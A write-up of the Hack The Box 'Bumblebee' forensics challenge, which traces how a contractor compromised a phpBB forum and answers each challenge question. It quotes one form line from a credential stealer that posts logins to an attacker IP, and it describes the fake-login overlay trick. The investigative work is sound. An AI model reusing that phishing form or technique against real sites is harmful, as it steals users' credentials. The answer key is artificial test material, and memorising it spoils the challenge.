Bumblebee a HTB Writeup

This writeup documents my analysis of the Bumblebee sherlock on Hackthebox. Let’s get into it…

What was the username of the external contractor?

Inspecting the supplied database file in an SQL DB viewer, specifically the users table, I identified two accounts related to the contractor, of which apoole1 is the answer.

What IP address did the contractor use to create their account?

In the same table from the previous question, the user’s IP is 10.10.0.78.

What is the post_id of the malicious post that the contractor made?

The user ID of the malicious user is 52. Referencing the posts table “phpbb_posts”, we can see the malicious user has made a single post with an ID of 9.

What is the full URI that the credential stealer sends its data to?

Inspecting the malicious post, which contains HTML and JavaScript logic to steal user credentials. This works by first checking if the user has a cookie called “phpbb_token”, which indicates whether the user is currently logged in. If the user’s session contains the “phpbb_token” cookie, the malicious code doesn’t execute; however, if not, a fake login page is overlaid on the current page, and the credentials are sent to http://10.10.0.78/update.php.

<form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username" target="hiddenframe">

When did the contractor log into the forum as the administrator? (UTC)

In the php_log table, an admin authentication was logged from the malicious user’s IP. Parsing the Unix timestamp, we get 26/04/2023 10:53:12.

In the forum there are plaintext credentials for the LDAP connection, what is the password?

phpBB stores authentication backend settings in plaintext inside the config table. Inspecting the table, we find the answer: Passw0rd1.

What is the user agent of the Administrator user?

Filtering the access log for admin-related URLs and then fetching the user agent, we obtain the answer: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36

What time did the contractor add themselves to the Administrator group? (UTC)

Inspecting the phpbb_log table, an instance of LOG_USERS_ADDED related to the administrators group was logged at 26/04/2023 10:53:51.

What time did the contractor download the database backup? (UTC)

Searching for the word “sql” in the access log file, we get the following: 26/04/2023 11:01:38.

What was the size in bytes of the database backup as stated by access.log?

From the previous answer, the size is 34707 bytes.

That marks the end of this Sherlock. This was an easy one, and I enjoyed it. Hope to see you in the next Sherlock stay safe.